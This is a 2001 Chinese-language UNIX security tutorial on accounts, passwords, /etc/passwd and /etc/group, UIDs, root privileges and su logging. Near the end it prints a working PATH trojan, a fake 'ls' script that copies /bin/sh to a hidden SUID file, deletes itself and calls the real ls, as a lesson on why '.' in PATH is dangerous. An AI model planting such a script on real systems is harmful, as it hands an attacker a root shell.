[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 系統管理 > 其它 > 正文
用戶及口令
本文出自: 作者: 何斌武 (hbwork@dlut.edu.cn) (2001-08-25 08:05:00)
1.用戶和口令 
好的口令安全性是防止系統被濫用的第一道防線的一部分。有時好的口令也不充分 
安全,特別是當口令需要在不受保護的網絡上傳輸的時候--根據通常的網絡協議,這些 
口令可能會被偷看到。 

用戶名: 

用戶名是標識,而口令則是確認証據。標準的UNIX上用戶名可以具有從一個字符到8個字符 
的長度。在一個UNIX計算機上,用戶名必須是唯一的。UNIX的口令通常也是在1到8個字符 
之間,更長的口令通常是更安全。從理論上,多個用戶可以共享一個口令,然而這卻意味 
著不安全,用戶們選擇了一個少三個字符的用戶名也是有效的,但我們不提倡這樣作。 
UNIX系統也有一些用系統管理以及一些特殊的系統功能的專門的帳號,這些帳號 
通常不允許個人用戶使用。 

口令: 
口令的存儲:傳統UNIX在文件/etc/passwd,此文件包含每一個用戶的用戶名,真實 
姓名,標識信息,以及用戶的基本帳號信息。文件中的每一行包含一個數據庫記錄,記錄 
中的每一個數據域用冒號(:)分開。 
典型記錄域: 
hbwork:fi2sED95ibqR6:101:14:He Binwu:/home/hbwork:/bin/bash 

數據域說明 
------------------------------------------------------ 
域 說明 
------------------------------------------------------ 
root 用戶名 
fi2sED95ibqR6 加密的用戶口令 
101 用戶的“用戶標識碼(UID)” 
14 用戶的“用戶組標識碼(GID)” 
He Binwu 用戶的全名稱(也被稱為GECOS或CGOS域) 
/home/hbwork 用戶的主文件目錄(Home Directory, $HOME) 
/bin/bash 用戶所使用的shell 

*真正的用戶口令可能存在其他文件中,如/etc/shadow(LINUX,Solaris,*為指示符), 
/etc/security/passwd(AIX,!), /etc/master.passwd(BSD,*) 

*網絡數據庫: 
SUN公司的網絡信息系統(NIS) 
SUN公司的NIS+ 
開放軟件基金會的分布式計算環境(DCE) 
NexT計算機上的NetInfo 

口令是一個共享的秘密 
用戶與計算機共享,輸入口令不回顯;很多的侵入是由口令設置不當或保護不當而 
導致的。 
在一些UNIX中,如果有人嘗試登錄一個賬號並且連續送入幾次無效的口令,這個帳號 
將被鎖信,只有系統管理員可以解開被鎖住的帳號。加鎖有兩個功能: 
1. 防止一些人連續猜測口令,在他們猜出正確的口信之間關閉該帳號。 
2. 告訴系統管理員一些人正試圖非法闖入你的系統或帳戶。 

LINUX操作系統給用戶10次登錄機會,同時在每次登錄嘗試也增加延遲時間,這樣 
即具有自動加鎖的功能(防止有人在短時間內試驗多次口令),也限制了DOS(Deny of 
Service)攻擊。 

強迫改變口令: 
SVR4: passwd -f username 

Warning: 
不要理會來自系統管理員的信件,告訴你因系統故障而要求你將口令改為某一字串, 
這時最好與系統管理員聯系。 

更改口令: 
%passwd 
核實口令: 
在改變口令應試驗用新口令登錄你的帳號以便檢查新口令是否被正確輸入,如果錯 
誤則應盡快與系統管理員聯系。 
telnet localhost (Or rlogin localhost) 

好的口令: 
那些難被猜出的口令是好的口令。它們難被猜出的原因是: 
.同時具有大寫和小寫字母 
.也具有數字和/或標點符號以及字母 
.也可能包括一些控制字符以及(或者)空格 
.容易記憶,因此不須要記錄下來。 
.具有七個或八個字符長度。 

建議:口令選取取兩個短字然用專門的字符或數字將它們組合。 

糟糕的口令: 
.你的姓名、同伴的姓名或配偶的姓名。 
.關系密切的朋友或合作者的名字 
.老板的名字 
.任何人的姓名 
.你正使用的OS的名字 
.passwd文件中的GECOS域中的信息 
.你的計算機的主機名 
.你的電話號碼或或其他証件號碼 
.任何人的生日 
.其他的容易被得到的有關你的信息(如地址,母校等). 
.單詞 
.任何在計算機內的用戶名,無論它以何種形式出現(如大寫字母形式、雙寫形式等等) 
.全部是同一字母的口令 
.鍵盤上的簡單的字母組合,如qwerty 
.上述口令外加一個數字字符 

在多個計算機上的口令 
**** 不要使用同一口令,可以確定如下方法:建立一個基準口令,然加上主機名或機器 
都有的值組成每個主機的口令。 

**** 不要寫下你的口令 **** (電子郵件) 

**** 告誡用戶不要使用他們的口令到其他的應用程序或外部系統。否則這些口令或能會 
**** 返回來傷害他們(Crack) 


=========================小結=========================== 
如果可能,使用一次性口令;如果不能則 
保証每一個帳號有一個口令 
保証每一個用戶選擇一個堅固的口令 
不要將你的口令告訴其他的用戶 


-------------------------------------------------------------------------------- 

2.用戶、用戶組及超級用戶 
操作系統如何看待用戶,帳號和用戶組如何被用限定用戶的訪問權限。 

用戶和用戶組 
在UNIX內部只用一個數字標示每一個用戶:用戶的標識符(UID),通常系統管理員給計 
算機上的每個一用戶分配一個不同的UID。 

UNIX上也使用專門的用戶名定義各種系統功能,這些系統用戶名通常也有它們自己的 
UID。 
以下是一些在各種UNIX系統中都通用的“系統用戶”: 
.root 超級用戶,具有對系統的完全控制權 
.daemon或sys 通常處理一些網絡方面的事情,如print spooler等 
.guest 被用網絡訪問者對系統的訪問 
.ftp 被用管理匿名FTP存取 
.uucp 管理UUCP系統 
.news 用管理用戶網絡新聞(Usenet news) 
.lp 用管理打印機系統 
.nobody 一個不擁有任何文件的用戶,有時被用作無特權操作的默認 
用戶 

通常這些用戶(除root外)不具有用戶姓名及口令,其口令域通常以 *或NP等表示, 
這樣可以防止在login提示符下登錄這些帳號。 

Note: 系統只根據UID確定其操作權限。 

用戶標識(UID) 
取值0~65535,其中習慣將0~99分配給系統管理帳號。 
UNIX系統憑借文件/etc/passwd實現用戶名與UID之間的映射關系。 
UID是操作系統用標識用戶的實際信息;用戶名被提供僅僅是方便用戶的考慮。兩個 
具有相同UID的用戶將被視為同一個用戶,即使用他們具有不同的用戶名和口令,它們可 
以自由地讀取和刪除對方的文件,以及取消對方的進程。 

用戶組及用戶組標識(GIDS): 
每一個UNIX用戶都屬一個或多個用戶組。同用戶帳號一樣,每一個用戶組也有組 
名和組標識符(GID).GID也是一個16位整數。 


/etc/group文件 
wheel:*:0:root,hbwork #有些系統中只有這個組中的帳號才能su為root 
uucp:*:10:uucp 
users:*:100: #每一個在這個系統上的用戶都是其組成員 
vison:*:albin,saka,pingping #出現的順序沒有意義 

格式:組名:用戶組“口令”:用戶組的GID:在這個用戶組的用戶 

Note:用戶組不一定要在/etc/group文件中存在一個記錄,GID只是為了方便用戶。 


特殊的用戶名 
root UID為0的用戶,root帳號是被操作系統使用的標識,它被用完成一些基本的系 
統功能如用戶管理,記錄系統信息,管理I/O設備等,通常root被稱為超級用戶, 
它能控制整個操作系統;幾乎所有的限制都可以被root用戶所運行的任何程序 
忽略。 

***任何用戶名都可以是超級用戶:只有UID是0即可 

***超級用戶不可隨意使用:管理員應先使用自己的帳號進入系統,需要執行管理任務時 
再su為超級用戶,任務完成再從特權shell中退出。 

很多系統控制了root只能在主控台上登錄,這樣可以通過根據su的記錄跟蹤使用root 
的帳號(可以配置syslog以使用log文件被保存在一個遠程的主機上;否則攻擊者會刪除 
log文件);同時需要兩個口令才能成為超級用戶,也增加了系統的安全度。 

***超級用戶能做什? 
.進程控制 nice 傳遞信號給進程 修改系統的各種硬限制 
將自己進程的UID改為系統上任何其他用戶的 
使所有用戶log out並且關機或重啟系統 

.設備控制 訪問任何正在工作的設備 
關閉計算機 
設置時間和日期 
用mknod建立新的設備文件 

.網絡控制 在“可信任的”端口上運行網絡服務 
重新配置網絡 
使網卡工作在混雜模式,並檢查所有在網絡上的數據包(共享介質) 

.文件系統控制 
讀、修改或刪除系統中的任何文件 
運行任何程序 
mount/umount文件系統 
增加、刪除或改變用戶的帳號 
開啟或終止磁盤限額(quotas)及統計(accounting) 
應用chroot()系統調用,它改變文件系統root目錄的進程形式 
在文件系統"100%"利用時仍可寫入此文件系統(ext2文件系統保留10%的最 
小空間,這個空間可以被root利用,但最好要這樣作,因為磁盤未完 
全寫滿時文件系統運行要快些。) 

超級用戶不能作的事 
.改變一個以只讀方式被裝入的文件系統 
.umount一個包含有已打開的文件或正被使用的文件目錄的文件系統 
.直接寫到一個文件目錄或建立與一個文件目錄的硬連接(有些UNIX還允許) 
.解密一個存儲在/etc/passwd文件中的用戶口令(可以用crack或修改login/su記錄用 
戶輸入) 
.終止一個已經進入核內的等待狀態的進程(當然關機可以實現關閉所有進程) 

超級用戶引起的問題 
root是UNIX系統安全方面的主要弱點,取得root之可以對系統作任何想作的事情。 


/etc/passwd文件和/etc/group文件對系統安全方面的影響 
從系統安全的角度來看,/etc/passwd文件是UNIX操作系統最重要的文件之一(還有 
/dev/kmem,/proc/kmem), 因此對其要加以保護。當然group文件也非常重要。 


su:更改你的身份 
su 
su - 
su username 
su - username 

Note: 使用su命令必須小心,注意當前目錄及小心使用rm等,BSD等控制su的使用。 

記錄失敗的su嘗試 
syslogd ->可修改/etc/syslog.conf將syslog記錄到另外一台主機 
/dev/console 
/var/adm/messages 
/var/adm/sulog 

真實UID和有效UID / 真實GUI和有效GID 
SUID passwd更改用戶口令 

示例: 
用戶PATH以.開始 

先建立如下名為ls的可執行shell文件 
#!/bin/sh 
cp /bin/sh .Desktop/junk/.superdude 
chmod 4555 .Desktop/junk/.superdude 
rm -f $0 
exec /bin/ls ${1 + "$@"} 

# End 

再執行如下: 
$cd 
$chmod 700 . 
$touch ./-f 

系統管理員需要su才能刪除./-f文件,而su執行ls會復制一個SUID的shell。 


================================小結=================================== 
* UNIX系統上的每一個帳號都應該有一個唯一的UID,UID被系統用戶確定用戶 
對各種不同的文件和服務的訪問權限。用戶應該有一個唯一的UID以便他們的 
行為可以被審查和被控制。每個帳號都屬一個或多個用戶組,用戶組由GID 
表示。可以通過用戶組成員資格的設置來實現由多個用戶共同分享的文件的存 
取資格 

* 每個計算機都有一個專門的被稱之為root的帳號,它對系統有完全的控制權。應 
確實限制對root帳號的訪問,並經常檢查那些失敗的su嘗試。如果可以使你的網 
絡上的全部計算機都將那些不成功的su嘗試記錄到網絡上的一台專門的安全的計 
算機上。在網絡上的每一台計算機都應該有一個不同的超級用戶的口令。 
(http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
運用CrackLib構建安全的Unix口令 (2002-02-05 07:15:00)
用戶及口令 (2001-08-25 08:05:00)
C源碼:生成一個自己的口令字典 (2001-08-22 16:36:31)
用戶口令檢查(/etc/passwd) (2001-07-24 07:00:00)
幾種網絡配置信息及口令的清除方法 (2001-06-26 18:08:00)
Samba-HOWTO最新匯集--2. Samba 2.x中的LanMan和NT口令加密 (2001-05-31 11:00:00)
如何恢復MYSQL的ROOT口令 (2001-05-16 15:41:43)
一個簡單的口令保護程式 (2001-05-12 10:57:18)
如何用FTP獲取Solaris中Shadow 口令文件 (2001-05-11 15:04:09)
CISCO 2500、1600系列路由器使用手冊--口令的安全管理 (2001-05-02 01:18:52)

===更多相關===
 

★  樊強制作 歡迎分享  ★